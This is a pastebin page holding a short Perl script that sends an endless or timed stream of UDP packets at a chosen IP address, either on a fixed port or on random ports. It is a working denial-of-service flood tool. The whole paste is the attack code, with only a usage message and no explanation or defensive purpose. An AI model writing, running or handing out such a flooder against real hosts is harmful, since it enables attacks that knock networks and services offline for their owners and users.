All pastes #1851964 Raw Edit

dongs

public text v1 · immutable
#1851964 ·published 2010-03-24 23:35 UTC
rendered paste body
#!/usr/bin/perl
use warnings;
use strict;

use IO::Socket::INET;

if (@ARGV != 3) {
    print STDERR <<EOF;
Usage: $0 <ip> <port> <time>
if arg1/2 =0, randports/continous packets.
EOF
    exit 1;
}

my ($host, $port, $time) = @ARGV;

my $random = $port == 0;

my $addr = inet_aton $host or die "$0: can't resolve $host\n";

my $socket = IO::Socket::INET->new(Proto => 'udp');

if ($time) {
    alarm $time;
}

while () {
    $port = int(rand 65000) + 1 if $random;
    print $socket->send('0', 0, pack_sockaddr_in($port, $addr));
}